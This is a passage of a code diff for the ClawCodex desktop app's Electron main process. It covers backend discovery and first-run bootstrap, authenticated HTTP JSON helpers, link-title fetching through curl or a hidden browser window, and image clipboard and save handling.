+  //    (In dev with no checkout, SOURCE_REPO_ROOT won't pass isClawCodexSourceRoot.)
+  if (!IS_PACKAGED && isClawCodexSourceRoot(SOURCE_REPO_ROOT)) {
+    const backend = createPythonBackend(SOURCE_REPO_ROOT, `ClawCodex source at ${SOURCE_REPO_ROOT}`, backendArgs)
+
+    if (backend) {
+      return backend
+    }
+  }
+
+  // 3. ACTIVE_CLAWCODEX_ROOT — the canonical install at
+  //    %LOCALAPPDATA%\\clawcodex\\clawcodex (Windows) or ~/.clawcodex/clawcodex.
+  //    A valid bootstrap marker proves Desktop finished the first-run install
+  //    flow, but marker provenance is NOT the same thing as runtime usability:
+  //    the CLI can create the exact same repo+venv layout, and older desktop
+  //    builds could leave a healthy install behind without the marker. If the
+  //    active runtime is usable, launch it directly; only fall through to
+  //    bootstrap when the runtime itself is unusable.
+  const activeRuntime = activeRuntimeState()
+
+  if (activeRuntime.shouldUseActiveRuntime && !bootstrapRepairRequested) {
+    if (!activeRuntime.hasValidMarker) {
+      rememberLog(
+        `[bootstrap] Active ClawCodex runtime at ${ACTIVE_CLAWCODEX_ROOT} is usable but the bootstrap marker is missing or stale; skipping first-run bootstrap.`
+      )
+    }
+
+    return createActiveBackend(backendArgs)
+  }
+
+  if (bootstrapRepairRequested) {
+    rememberLog('[bootstrap] repair requested; bypassing the usable active runtime to re-run the installer')
+  }
+
+  // 4. Existing `clawcodex` on PATH -- installed via install.ps1 / install.sh from
+  //    a previous tool-only setup, or pip-installed system-wide. Use it but
+  //    do NOT write a bootstrap marker; the user did this themselves and we
+  //    don't want to take ownership of an install we didn't perform.
+  //    CLAWCODEX_DESKTOP_IGNORE_EXISTING=1 forces the bootstrap path for testing.
+  if (process.env.CLAWCODEX_DESKTOP_IGNORE_EXISTING !== '1') {
+    let clawcodexCommand = null
+    const clawcodexOverride = process.env.CLAWCODEX_DESKTOP_CLAWCODEX
+
+    if (clawcodexOverride) {
+      const resolvedOverride = findOnPath(clawcodexOverride)
+
+      if (resolvedOverride) {
+        clawcodexCommand = resolvedOverride
+      } else if (!isWindowsBinaryPathInWsl(clawcodexOverride, { isWsl: IS_WSL })) {
+        clawcodexCommand = clawcodexOverride
+      } else {
+        rememberLog(`Ignoring Windows ClawCodex override under WSL: ${clawcodexOverride}`)
+      }
+    } else {
+      clawcodexCommand = findOnPath('clawcodex')
+    }
+
+    if (clawcodexCommand) {
+      if (looksLikeDesktopAppBinary(clawcodexCommand)) {
+        rememberLog(`Ignoring desktop app executable on PATH while resolving ClawCodex CLI: ${clawcodexCommand}`)
+        clawcodexCommand = null
+      }
+    }
+
+    if (clawcodexCommand) {
+      const unwrapped = unwrapWindowsVenvClawCodexCommand(clawcodexCommand, backendArgs)
+
+      if (unwrapped) {
+        return unwrapped
+      }
+
+      // Smoke-test the candidate before trusting it. A `clawcodex` shim
+      // left behind by a half-uninstalled pip install (or a venv
+      // entry-point pointing at a deleted interpreter) still resolves
+      // via findOnPath but explodes on spawn -- the user then sees a
+      // dead backend instead of the first-launch installer. The cheap
+      // `--version` probe (see backend-probes.ts) catches that case
+      // and lets the resolver fall through to step 6 / bootstrap.
+      const shellForProbe = isCommandScript(clawcodexCommand)
+
+      // CLAWCODEX_DESKTOP_CLAWCODEX is an explicit deployment override (used by
+      // the Nix wrapper), not a discovered PATH candidate. It must not fall
+      // through to the install-script bootstrap if the optional probe times
+      // out under load; the pinned backend is the only valid runtime there.
+      if (shouldTrustClawCodexOverride(clawcodexOverride) || verifyClawCodexCli(clawcodexCommand, { shell: shellForProbe })) {
+        // `unwrapped` above already answered "is this a Windows venv shim?" —
+        // it was null (not a shim, or its import probe failed). Do NOT re-run
+        // unwrapWindowsVenvClawCodexCommand here: the second call repeats the
+        // same un-memoized import probe, costing up to another full probe
+        // timeout on the boot path for an answer we already have.
+        return {
+          label: `existing ClawCodex CLI at ${clawcodexCommand}`,
+          command: clawcodexCommand,
+          args: backendArgs,
+          bootstrap: false,
+          env: {},
+          kind: 'command',
+          shell: shellForProbe
+        }
+      }
+
+      rememberLog(
+        `Ignoring existing ClawCodex CLI at ${clawcodexCommand}: --version probe failed; falling through to bootstrap.`
+      )
+    }
+  }
+
+  // 5. Last-ditch: pip-installed clawcodex_cli module via system Python.
+  //    Same rationale as #4 -- the user installed this; we use it but don't
+  //    take ownership.
+  const python = findSystemPython()
+
+  if (python) {
+    // Same smoke-test rationale as step 4: a system Python in the
+    // SUPPORTED_VERSIONS range can be registered (PEP 514) without
+    // having clawcodex_cli installed -- common on dev boxes that have
+    // a python.org install from prior unrelated work. Returning that
+    // backend hands the spawn step a guaranteed ModuleNotFoundError.
+    // Verify the import works before trusting the candidate; on
+    // failure, fall through to step 6 so the bootstrap runner pulls
+    // a uv-managed 3.11 into %LOCALAPPDATA%\clawcodex\clawcodex\venv.
+    if (canImportClawCodexCli(python)) {
+      return {
+        kind: 'python',
+        label: `installed clawcodex_cli module via ${python}`,
+        command: python,
+        args: ['-m', 'clawcodex_cli.main', ...backendArgs],
+        bootstrap: false,
+        env: {},
+        shell: false
+      }
+    }
+
+    rememberLog(`Ignoring system Python ${python}: clawcodex_cli is not importable; falling through to bootstrap.`)
+  }
+
+  // 6. Nothing usable yet -- signal the bootstrap runner that we need to
+  //    clone+install. Phase 1D's bootstrap-runner consumes this sentinel
+  //    and drives install.ps1 stages with a progress UI. Until 1D lands,
+  //    callers see the sentinel and surface it as a user-facing error
+  //    explaining what's missing.
+  //
+  //    We deliberately do NOT throw here -- throwing inside
+  //    resolveClawCodexBackend was the old "no payload" path and forced the
+  //    user into a dead end. With the bootstrap protocol, "no install yet"
+  //    is a recoverable state the GUI can drive through.
+  return {
+    kind: 'bootstrap-needed',
+    label: 'ClawCodex not installed yet; bootstrap required',
+    command: null,
+    args: backendArgs,
+    bootstrap: true,
+    env: {},
+    shell: false,
+    // Hints for the bootstrap runner / UI layer:
+    activeRoot: ACTIVE_CLAWCODEX_ROOT,
+    installStamp: INSTALL_STAMP, // may be null in dev
+    isPackaged: IS_PACKAGED,
+    platform: process.platform
+  }
+}
+
+async function ensureRuntime(backend) {
+  if (!backend.bootstrap) {
+    await advanceBootProgress('runtime.external', `Using ${backend.label}`, 32)
+
+    return backend
+  }
+
+  // backend.kind === 'bootstrap-needed' means resolveClawCodexBackend couldn't
+  // find anything to spawn. Hand off to the bootstrap runner which drives the
+  // platform installer, writes the bootstrap-complete marker on success, then
+  // we re-resolve to get the now-installed backend.
+  //
+  // Phase 1D status: bootstrap runs but events go to desktop.log only
+  // (renderer window isn't created until later in startBackend). Phase 1E
+  // will rewire startup to spawn the window first and route bootstrap events
+  // to a renderer-side install overlay.
+  if (backend.kind === 'bootstrap-needed') {
+    rememberLog('[bootstrap] no ClawCodex install found; starting first-launch bootstrap')
+
+    if (await handOffWindowsBootstrapRecovery('bootstrap-needed')) {
+      const handoffError: Error & { isBootstrapFailure?: boolean; bootstrapHandedOff?: boolean } = new Error(
+        'ClawCodex recovery was handed off to ClawCodex Setup. The desktop will restart when recovery completes.'
+      )
+
+      handoffError.isBootstrapFailure = true
+      handoffError.bootstrapHandedOff = true
+      bootstrapFailure = handoffError
+      throw handoffError
+    }
+
+    // Eagerly flip the bootstrap UI state to 'active' so the renderer
+    // shows the install overlay BEFORE the runner finishes fetching the
+    // manifest (which on slow networks can take tens of seconds and would
+    // otherwise leave the user staring at the generic 'Preparing' splash).
+    // We emit a synthetic manifest with an empty stages list -- the real
+    // manifest event will overwrite it once install.ps1 -Manifest returns.
+    try {
+      broadcastBootstrapEvent({
+        type: 'manifest',
+        stages: [],
+        protocolVersion: null
+      })
+    } catch {
+      void 0
+    }
+
+    bootstrapAbortController = new AbortController()
+
+    // The repair request has been honoured by reaching the installer; clear it
+    // so a later boot isn't forced through bootstrap again.
+    bootstrapRepairRequested = false
+    bootstrapRepairAttempt = 0
+
+    const bootstrapResult = await runBootstrap({
+      installStamp: backend.installStamp,
+      activeRoot: backend.activeRoot,
+      sourceRepoRoot: SOURCE_REPO_ROOT,
+      clawcodexHome: CLAWCODEX_CONFIG_DIR,
+      logRoot: path.join(CLAWCODEX_CONFIG_DIR, 'logs'),
+      abortSignal: bootstrapAbortController.signal,
+      onEvent: ev => {
+        // Tee every bootstrap event to (a) the desktop log for forensics
+        // and (b) the renderer for live progress UI. Either may be absent;
+        // tolerate both gracefully so a renderer crash doesn't stall the
+        // bootstrap and a log-write failure doesn't suppress the UI signal.
+        try {
+          rememberLog(`[bootstrap] ${JSON.stringify(ev)}`)
+        } catch {
+          void 0
+        }
+
+        try {
+          broadcastBootstrapEvent(ev)
+        } catch {
+          void 0
+        }
+      },
+      writeMarker: writeBootstrapMarker
+    })
+
+    bootstrapAbortController = null
+
+    if (bootstrapResult.cancelled) {
+      const cancelledError = new Error('ClawCodex install was cancelled.') as any
+      cancelledError.isBootstrapFailure = true
+      cancelledError.bootstrapCancelled = true
+      bootstrapFailure = cancelledError
+      throw cancelledError
+    }
+
+    if (!bootstrapResult.ok) {
+      const bootstrapError = new Error(
+        `ClawCodex bootstrap failed${bootstrapResult.failedStage ? ` at stage '${bootstrapResult.failedStage}'` : ''}: ` +
+          `${bootstrapResult.error || 'unknown error'}. ` +
+          `Check ${path.join(CLAWCODEX_CONFIG_DIR, 'logs', 'desktop.log')} for the full transcript.`
+      ) as any
+
+      bootstrapError.isBootstrapFailure = true
+      bootstrapError.failedStage = bootstrapResult.failedStage || null
+      // Latch the failure so subsequent startClawCodex() calls return this
+      // same error without re-running install.ps1.  Cleared by the
+      // clawcodex:bootstrap:reset IPC (renderer's "Reload and retry").
+      bootstrapFailure = bootstrapError
+      throw bootstrapError
+    }
+
+    rememberLog('[bootstrap] bootstrap complete; marker written. Re-resolving backend.')
+
+    // Re-resolve now that the install exists. The new resolution lands in
+    // step 3 (bootstrap-complete marker) and we recurse to wire venvPython.
+    return ensureRuntime(resolveClawCodexBackend(backend.args))
+  }
+
+  // bootstrap=true with a real backend (createActiveBackend path) means we
+  // have a checkout and need to ensure the venv-derived Python command is
+  // wired into the backend before launch. Same code path the old factory
+  // sync flow exited through, minus all the factory/pip/marker machinery
+  // (install.ps1 owns those concerns now and the bootstrap-complete marker
+  // attests they ran successfully).
+  if (!isClawCodexSourceRoot(ACTIVE_CLAWCODEX_ROOT)) {
+    throw new Error(
+      `ClawCodex install at ${ACTIVE_CLAWCODEX_ROOT} is missing or incomplete. ` +
+        'Reinstall via the desktop installer or scripts/install.ps1.'
+    )
+  }
+
+  // On Windows, preflight Git Bash. ClawCodex' terminal tool calls bash.exe
+  // directly (tools/environments/local.py); without it the agent can't run
+  // terminal commands. install.ps1's Stage-Git puts PortableGit at
+  // %LOCALAPPDATA%\clawcodex\git\, which findGitBash() picks up, so for any
+  // user who completed the bootstrap this is a no-op. For users who got
+  // here via an external `clawcodex` on PATH, this check still helps.
+  if (IS_WINDOWS && !findGitBash()) {
+    throw new Error(
+      'Git for Windows is required for ClawCodex on Windows (provides Git Bash, ' +
+        "which the agent's terminal tool uses). Install it from " +
+        'https://git-scm.com/download/win or run `winget install -e --id Git.Git`, ' +
+        'then relaunch ClawCodex.'
+    )
+  }
+
+  const venvPython = getVenvPython(VENV_ROOT)
+
+  if (!fileExists(venvPython)) {
+    // No venv at the expected location AND no bootstrap-needed sentinel
+    // means we have a half-installed checkout: .git exists, source files
+    // exist, but venv is missing or broken. This shouldn't happen in
+    // normal flow because activeRuntimeState() requires isClawCodexSourceRoot()
+    // plus an importable clawcodex_cli before it hands back the active runtime.
+    // If we hit this, the user (or a deleted venv) broke the invariant; tell
+    // them to re-run the install.
+    throw new Error(
+      `ClawCodex venv missing at ${VENV_ROOT}. Re-run the desktop installer or ` + '`scripts/install.ps1` to rebuild it.'
+    )
+  }
+
+  backend.command = getVenvPython(VENV_ROOT)
+  backend.label = `ClawCodex at ${ACTIVE_CLAWCODEX_ROOT} (venv: ${VENV_ROOT})`
+  updateBootProgress({
+    phase: 'runtime.ready',
+    message: 'ClawCodex runtime is ready',
+    progress: 82,
+    running: true,
+    error: null
+  })
+
+  return backend
+}
+
+// Assemble a single-file multipart/form-data body (FastAPI `UploadFile`
+// endpoints, e.g. kanban attachments). Hand-rolled because node's http has no
+// FormData and the payload is one file — a dependency would be overkill.
+function multipartBody(upload) {
+  const boundary = `----clawcodex-${crypto.randomBytes(12).toString('hex')}`
+  const filename = String(upload.filename || 'file').replace(/["\r\n]/g, '_')
+
+  const body = Buffer.concat([
+    Buffer.from(
+      `--${boundary}\r\n` +
+        `Content-Disposition: form-data; name="file"; filename="${filename}"\r\n` +
+        `Content-Type: ${upload.contentType || 'application/octet-stream'}\r\n\r\n`
+    ),
+    Buffer.from(upload.bytes),
+    Buffer.from(`\r\n--${boundary}--\r\n`)
+  ])
+
+  return { body, contentType: `multipart/form-data; boundary=${boundary}` }
+}
+
+function fetchJson(url, token, options: any = {}) {
+  return new Promise((resolve, reject) => {
+    const { body, contentType } = options.upload
+      ? multipartBody(options.upload)
+      : {
+          body: options.body === undefined ? undefined : Buffer.from(JSON.stringify(options.body)),
+          contentType: 'application/json'
+        }
+
+    const parsed = new URL(url)
+    const client = parsed.protocol === 'https:' ? https : http
+    const timeoutMs = resolveTimeoutMs(options.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)
+
+    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
+      reject(new Error(`Unsupported ClawCodex backend URL protocol: ${parsed.protocol}`))
+
+      return
+    }
+
+    const req = client.request(
+      parsed,
+      {
+        method: options.method || 'GET',
+        headers: {
+          'Content-Type': contentType,
+          'X-ClawCodex-Session-Token': token,
+          // RFC 8252 native flow authenticates the gated gateway with a bearer
+          // token instead of the loopback session-token header. When
+          // ``options.bearer`` is set we send Authorization: Bearer <token>;
+          // the gateway's OAuth gate verifies it via the provider stack with
+          // no cookie involved.
+          ...(options.bearer ? { Authorization: `Bearer ${options.bearer}` } : {}),
+          ...(body ? { 'Content-Length': String(body.length) } : {})
+        }
+      },
+      res => {
+        const chunks = []
+        res.on('error', reject)
+        res.on('data', chunk => chunks.push(chunk))
+        res.on('end', () => {
+          const text = Buffer.concat(chunks).toString('utf8')
+
+          if ((res.statusCode || 500) >= 400) {
+            reject(new Error(`${res.statusCode}: ${text || res.statusMessage}`))
+
+            return
+          }
+
+          if (!text) {
+            resolve(null)
+
+            return
+          }
+
+          // A 2xx response whose body is HTML means the request fell through
+          // to the SPA index.html (e.g. an unregistered /api path). JSON.parse
+          // would throw an opaque `Unexpected token '<'` here, so surface a
+          // clear diagnostic with the offending URL instead.
+          const looksHtml = /^\s*<(?:!doctype|html)/i.test(text)
+          const contentType = String(res.headers['content-type'] || '')
+
+          if (looksHtml || contentType.includes('text/html')) {
+            reject(
+              new Error(
+                `Expected JSON from ${url} but got HTML (status ${res.statusCode}). ` +
+                  'The endpoint is likely missing on the ClawCodex backend.'
+              )
+            )
+
+            return
+          }
+
+          try {
+            resolve(JSON.parse(text))
+          } catch {
+            reject(new Error(`Invalid JSON from ${url} (status ${res.statusCode}): ${text.slice(0, 200)}`))
+          }
+        })
+      }
+    )
+
+    req.on('error', reject)
+    req.setTimeout(timeoutMs, () => {
+      req.destroy(new Error(`Timed out connecting to ClawCodex backend after ${timeoutMs}ms`))
+    })
+
+    if (body) {
+      req.write(body)
+    }
+
+    req.end()
+  })
+}
+
+function fetchPublicJson(url, options: any = {}) {
+  // Credential-free JSON GET/POST for public gateway endpoints
+  // (``/api/status``, ``/api/auth/providers``). Unlike ``fetchJson`` it sends
+  // NO ``X-ClawCodex-Session-Token`` header — used by the auth-mode probe before
+  // any credentials exist, and any time we must not leak a token to an
+  // endpoint that doesn't need one.
+  return new Promise((resolve, reject) => {
+    const body = options.body === undefined ? undefined : Buffer.from(JSON.stringify(options.body))
+    let parsed
+
+    try {
+      parsed = new URL(url)
+    } catch (error) {
+      reject(new Error(`Invalid URL: ${error.message}`))
+
+      return
+    }
+
+    const client = parsed.protocol === 'https:' ? https : http
+    const timeoutMs = resolveTimeoutMs(options.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)
+
+    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
+      reject(new Error(`Unsupported ClawCodex backend URL protocol: ${parsed.protocol}`))
+
+      return
+    }
+
+    const req = client.request(
+      parsed,
+      {
+        method: options.method || 'GET',
+        headers: {
+          'Content-Type': 'application/json',
+          ...(body ? { 'Content-Length': String(body.length) } : {})
+        }
+      },
+      res => {
+        const chunks = []
+        res.on('data', chunk => chunks.push(chunk))
+        res.on('end', () => {
+          const text = Buffer.concat(chunks).toString('utf8')
+
+          if ((res.statusCode || 500) >= 400) {
+            reject(new Error(`${res.statusCode}: ${text || res.statusMessage}`))
+
+            return
+          }
+
+          if (!text) {
+            resolve(null)
+
+            return
+          }
+
+          const looksHtml = /^\s*<(?:!doctype|html)/i.test(text)
+          const contentType = String(res.headers['content-type'] || '')
+
+          if (looksHtml || contentType.includes('text/html')) {
+            reject(
+              new Error(
+                `Expected JSON from ${url} but got HTML (status ${res.statusCode}). ` +
+                  'The endpoint is likely missing on the ClawCodex backend.'
+              )
+            )
+
+            return
+          }
+
+          try {
+            resolve(JSON.parse(text))
+          } catch {
+            reject(new Error(`Invalid JSON from ${url} (status ${res.statusCode}): ${text.slice(0, 200)}`))
+          }
+        })
+      }
+    )
+
+    req.on('error', reject)
+    req.setTimeout(timeoutMs, () => {
+      req.destroy(new Error(`Timed out connecting to ClawCodex backend after ${timeoutMs}ms`))
+    })
+
+    if (body) {
+      req.write(body)
+    }
+
+    req.end()
+  })
+}
+
+function mimeTypeForPath(filePath) {
+  const ext = path.extname(filePath || '').toLowerCase()
+
+  return MEDIA_MIME_TYPES[ext] || 'application/octet-stream'
+}
+
+function extensionForMimeType(mimeType) {
+  const type = String(mimeType || '')
+    .split(';')[0]
+    .trim()
+    .toLowerCase()
+
+  if (type === 'image/png') {
+    return '.png'
+  }
+
+  if (type === 'image/jpeg') {
+    return '.jpg'
+  }
+
+  if (type === 'image/gif') {
+    return '.gif'
+  }
+
+  if (type === 'image/webp') {
+    return '.webp'
+  }
+
+  if (type === 'image/bmp') {
+    return '.bmp'
+  }
+
+  if (type === 'image/svg+xml') {
+    return '.svg'
+  }
+
+  return ''
+}
+
+function filenameFromUrl(rawUrl, fallback = 'image') {
+  try {
+    const parsed = new URL(rawUrl)
+    const base = path.basename(decodeURIComponent(parsed.pathname || ''))
+
+    return base && base.includes('.') ? base : fallback
+  } catch {
+    return fallback
+  }
+}
+
+// Link title resolution — curl (tier 1) → hidden BrowserWindow (tier 2).
+const titleCache = new Map()
+const titleInflight = new Map()
+const TITLE_CACHE_LIMIT = 500
+const TITLE_BYTE_BUDGET = 96 * 1024
+const TITLE_TIMEOUT_MS = 5000
+const TITLE_MAX_REDIRECTS = 3
+
+// Browser-shaped UA — many bot-walled sites (GetYourGuide, Cloudflare-protected
+// pages) refuse anything that doesn't look like a real Chrome.
+const TITLE_USER_AGENT =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36'
+
+const TITLE_ERROR_RE =
+  /\b(access denied|attention required|captcha|error|forbidden|just a moment|request blocked|too many requests)\b/i
+
+const HTML_ENTITIES = { amp: '&', lt: '<', gt: '>', quot: '"', apos: "'", nbsp: ' ', '#39': "'" }
+
+// Tier-2 renderer fallback config. Only invoked when curl came back empty or
+// matched TITLE_ERROR_RE — keeps cold/CDN-cached pages on the cheap path.
+const RENDER_TITLE_MAX_CONCURRENT = 2
+const RENDER_TITLE_TIMEOUT_MS = 8000
+const RENDER_TITLE_GRACE_MS = 700
+
+// Resource types we cancel before the network even fires — keeps the hidden
+// renderer fast and cuts third-party tracking noise.
+const RENDER_TITLE_BLOCKED_RESOURCES = new Set([
+  'cspReport',
+  'font',
+  'imageset',
+  'media',
+  'object',
+  'ping',
+  'stylesheet'
+])
+
+let linkTitleSession = null
+let oauthSession = null
+let renderTitleInFlight = 0
+const renderTitleQueue = []
+
+function canonicalTitleCacheKey(rawUrl) {
+  const value = String(rawUrl || '').trim()
+
+  if (!value) {
+    return ''
+  }
+
+  try {
+    const url = new URL(value)
+    const host = url.hostname.replace(/^www\./i, '').toLowerCase()
+    const pathname = url.pathname === '/' ? '/' : url.pathname.replace(/\/+$/, '') || '/'
+
+    return `${host}${pathname}${url.search || ''}`
+  } catch {
+    return value
+  }
+}
+
+function cacheTitle(key, title) {
+  if (titleCache.size >= TITLE_CACHE_LIMIT) {
+    titleCache.delete(titleCache.keys().next().value)
+  }
+
+  titleCache.set(key, title)
+}
+
+function decodeHtmlEntities(value) {
+  return value
+    .replace(/&(amp|lt|gt|quot|apos|nbsp|#39);/gi, (_, k) => HTML_ENTITIES[k.toLowerCase()] ?? '')
+    .replace(/&#x([0-9a-f]+);/gi, (_, hex) => String.fromCodePoint(parseInt(hex, 16) || 32))
+    .replace(/&#(\d+);/g, (_, dec) => String.fromCodePoint(parseInt(dec, 10) || 32))
+}
+
+function parseHtmlTitle(html) {
+  const raw = html.match(/<title[^>]*>([\s\S]*?)<\/title>/i)?.[1]
+
+  return raw ? decodeHtmlEntities(raw).replace(/\s+/g, ' ').trim() : ''
+}
+
+function fetchHtmlTitleWithCurl(rawUrl: string): Promise<string> {
+  return new Promise(resolve => {
+    const url = String(rawUrl || '').trim()
+
+    if (!url) {
+      return resolve('')
+    }
+
+    const args = [
+      '--silent',
+      '--show-error',
+      '--location',
+      '--max-redirs',
+      String(TITLE_MAX_REDIRECTS),
+      '--max-time',
+      String(Math.max(2, Math.ceil(TITLE_TIMEOUT_MS / 1000))),
+      '--connect-timeout',
+      '4',
+      '--user-agent',
+      TITLE_USER_AGENT,
+      '--header',
+      'Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.5',
+      '--header',
+      'Accept-Language: en-US,en;q=0.7',
+      '--header',
+      'Accept-Encoding: identity',
+      '--raw',
+      url
+    ]
+
+    const child = spawn('curl', args, hiddenWindowsChildOptions({ stdio: ['ignore', 'pipe', 'ignore'] }))
+    const chunks = []
+    let bytes = 0
+
+    child.stdout.on('data', chunk => {
+      if (bytes >= TITLE_BYTE_BUDGET) {
+        return
+      }
+
+      const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+      const remaining = TITLE_BYTE_BUDGET - bytes
+      const next = buffer.length > remaining ? buffer.subarray(0, remaining) : buffer
+      chunks.push(next)
+      bytes += next.length
+    })
+
+    child.on('error', () => resolve(''))
+    child.on('close', () => {
+      if (!chunks.length) {
+        return resolve('')
+      }
+
+      resolve(parseHtmlTitle(Buffer.concat(chunks).toString('utf8')))
+    })
+  })
+}
+
+function getLinkTitleSession() {
+  if (linkTitleSession || !app.isReady()) {
+    return linkTitleSession
+  }
+
+  linkTitleSession = session.fromPartition('clawcodex:link-titles', { cache: false })
+  linkTitleSession.webRequest.onBeforeRequest((details, callback) => {
+    callback({ cancel: RENDER_TITLE_BLOCKED_RESOURCES.has(details.resourceType) })
+  })
+  guardLinkTitleSession(linkTitleSession)
+
+  return linkTitleSession
+}
+
+function dequeueRenderTitle() {
+  while (renderTitleInFlight < RENDER_TITLE_MAX_CONCURRENT && renderTitleQueue.length) {
+    const item = renderTitleQueue.shift()
+    renderTitleInFlight += 1
+    runRenderTitleJob(item.url).then(title => {
+      renderTitleInFlight -= 1
+      item.resolve(title)
+      dequeueRenderTitle()
+    })
+  }
+}
+
+function runRenderTitleJob(rawUrl) {
+  return new Promise(resolve => {
+    if (!app.isReady()) {
+      return resolve('')
+    }
+
+    const partitionSession = getLinkTitleSession()
+
+    if (!partitionSession) {
+      return resolve('')
+    }
+
+    let settled = false
+    let window = null
+    let hardTimer = null
+    let graceTimer = null
+
+    const finish = title => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+
+      if (hardTimer) {
+        clearTimeout(hardTimer)
+      }
+
+      if (graceTimer) {
+        clearTimeout(graceTimer)
+      }
+
+      const value = (title || '').replace(/\s+/g, ' ').trim()
+
+      try {
+        if (window && !window.isDestroyed()) {
+          window.destroy()
+        }
+      } catch {
+        // BrowserWindow may already be torn down; ignore.
+      }
+
+      resolve(value)
+    }
+
+    try {
+      window = createLinkTitleWindow(BrowserWindow, partitionSession)
+    } catch {
+      return finish('')
+    }
+
+    const finishWithTitle = () => finish(readLinkTitleWindowTitle(window))
+
+    const scheduleGrace = () => {
+      if (graceTimer) {
+        clearTimeout(graceTimer)
+      }
+
+      graceTimer = setTimeout(finishWithTitle, RENDER_TITLE_GRACE_MS)
+    }
+
+    hardTimer = setTimeout(finishWithTitle, RENDER_TITLE_TIMEOUT_MS)
+
+    window.webContents.setUserAgent(TITLE_USER_AGENT)
+    window.webContents.on('page-title-updated', scheduleGrace)
+    window.webContents.on('did-finish-load', scheduleGrace)
+    window.webContents.on('did-fail-load', (_event, _code, _desc, _validatedURL, isMainFrame) => {
+      if (isMainFrame) {
+        finish('')
+      }
+    })
+
+    window
+      .loadURL(rawUrl, {
+        httpReferrer: 'https://www.google.com/',
+        userAgent: TITLE_USER_AGENT
+      })
+      .catch(() => finish(''))
+  })
+}
+
+function fetchHtmlTitleWithRenderer(rawUrl: string): Promise<string> {
+  return new Promise(resolve => {
+    renderTitleQueue.push({ resolve, url: rawUrl })
+    dequeueRenderTitle()
+  })
+}
+
+// Strips known error/captcha titles (e.g. "GetYourGuide – Error", "Just a
+// moment...") so they don't get cached as the resolved title.
+function usableTitle(value: string): string {
+  return value && !TITLE_ERROR_RE.test(value) ? value : ''
+}
+
+function fetchLinkTitle(rawUrl) {
+  const url = String(rawUrl || '').trim()
+  const key = canonicalTitleCacheKey(url)
+
+  if (!key) {
+    return Promise.resolve('')
+  }
+
+  if (titleCache.has(key)) {
+    return Promise.resolve(titleCache.get(key))
+  }
+
+  if (titleInflight.has(key)) {
+    return titleInflight.get(key)
+  }
+
+  const pending = fetchHtmlTitleWithCurl(url)
+    .catch(() => '')
+    .then(value => usableTitle((value || '').slice(0, 240)))
+    .then(
+      async value => value || usableTitle(((await fetchHtmlTitleWithRenderer(url).catch(() => '')) || '').slice(0, 240))
+    )
+    .then(clean => {
+      cacheTitle(key, clean)
+      titleInflight.delete(key)
+
+      return clean
+    })
+
+  titleInflight.set(key, pending)
+
+  return pending
+}
+
+async function resourceBufferFromUrl(rawUrl) {
+  if (!rawUrl) {
+    throw new Error('Missing URL')
+  }
+
+  if (rawUrl.startsWith('data:')) {
+    const match = rawUrl.match(/^data:([^;,]+)?(;base64)?,(.*)$/s)
+
+    if (!match) {
+      throw new Error('Invalid data URL')
+    }
+
+    const mimeType = match[1] || 'application/octet-stream'
+    const encoded = match[3] || ''
+    const buffer = match[2] ? Buffer.from(encoded, 'base64') : Buffer.from(decodeURIComponent(encoded), 'utf8')
+
+    return { buffer, mimeType }
+  }
+
+  if (/^file:/i.test(rawUrl)) {
+    const { resolvedPath } = await resolveReadableFileForIpc(rawUrl, { purpose: 'Image file' })
+    const buffer = await fs.promises.readFile(resolvedPath)
+
+    return { buffer, mimeType: mimeTypeForPath(resolvedPath) }
+  }
+
+  const parsed = new URL(rawUrl)
+  const client = parsed.protocol === 'https:' ? https : http
+
+  return new Promise((resolve, reject) => {
+    const req = client.get(parsed, res => {
+      if ((res.statusCode || 500) >= 400) {
+        reject(new Error(`Failed to fetch ${rawUrl}: ${res.statusCode}`))
+        res.resume()
+
+        return
+      }
+
+      const chunks = []
+      res.on('error', reject)
+      res.on('data', chunk => chunks.push(chunk))
+      res.on('end', () => {
+        resolve({
+          buffer: Buffer.concat(chunks),
+          mimeType: res.headers['content-type'] || 'application/octet-stream'
+        })
+      })
+    })
+
+    req.on('error', reject)
+  })
+}
+
+async function copyImageFromUrl(rawUrl) {
+  const { buffer } = (await resourceBufferFromUrl(rawUrl)) as any
+  const image = nativeImage.createFromBuffer(buffer)
+
+  if (image.isEmpty()) {
+    throw new Error('Could not read image')
+  }
+
+  clipboard.writeImage(image)
+}
+
+async function saveImageFromUrl(rawUrl) {
+  const { buffer, mimeType } = (await resourceBufferFromUrl(rawUrl)) as any
+  const fallbackName = filenameFromUrl(rawUrl, `image${extensionForMimeType(mimeType) || '.png'}`)
+
+  const result = await dialog.showSaveDialog(mainWindow, {
+    title: 'Save Image',
+    defaultPath: fallbackName
+  })
+
+  if (result.canceled || !result.filePath) {
+    return false
+  }
+
+  await fs.promises.writeFile(result.filePath, buffer)
+
+  return true
+}
+
+async function writeComposerImage(buffer, ext = '.png') {
+  const rawExt = String(ext || '.png')
+    .trim()
+    .toLowerCase()
+
+  const normalizedExt = rawExt.startsWith('.') ? rawExt : `.${rawExt}`
+  const safeExt = /^\.[a-z0-9]{1,5}$/.test(normalizedExt) ? normalizedExt : '.png'
+  const dir = path.join(app.getPath('userData'), 'composer-images')
+  await fs.promises.mkdir(dir, { recursive: true })
+  const stamp = new Date().toISOString().replace(/[:.]/g, '-').replace('T', '_').replace('Z', '')
+  const random = crypto.randomBytes(3).toString('hex')
+  const filePath = path.join(dir, `composer_${stamp}_${random}${safeExt}`)
+  await fs.promises.writeFile(filePath, buffer)
+
+  return filePath
+}
+
+function previewLabelForUrl(url) {
+  return `${url.host}${url.pathname === '/' ? '' : url.pathname}`
+}
+
+function expandUserPath(filePath) {
+  const value = String(filePath || '').trim()
+
+  if (value === '~') {
+    return app.getPath('home')
+  }
+
+  if (value.startsWith(`~${path.sep}`) || value.startsWith('~/')) {
+    return path.join(app.getPath('home'), value.slice(2))
+  }
+
+  return value
+}
+
+async function previewFileTarget(rawTarget, baseDir) {
+  const raw = String(rawTarget || '').trim()
+  const base = baseDir ? path.resolve(expandUserPath(baseDir)) : resolveClawCodexCwd()
+
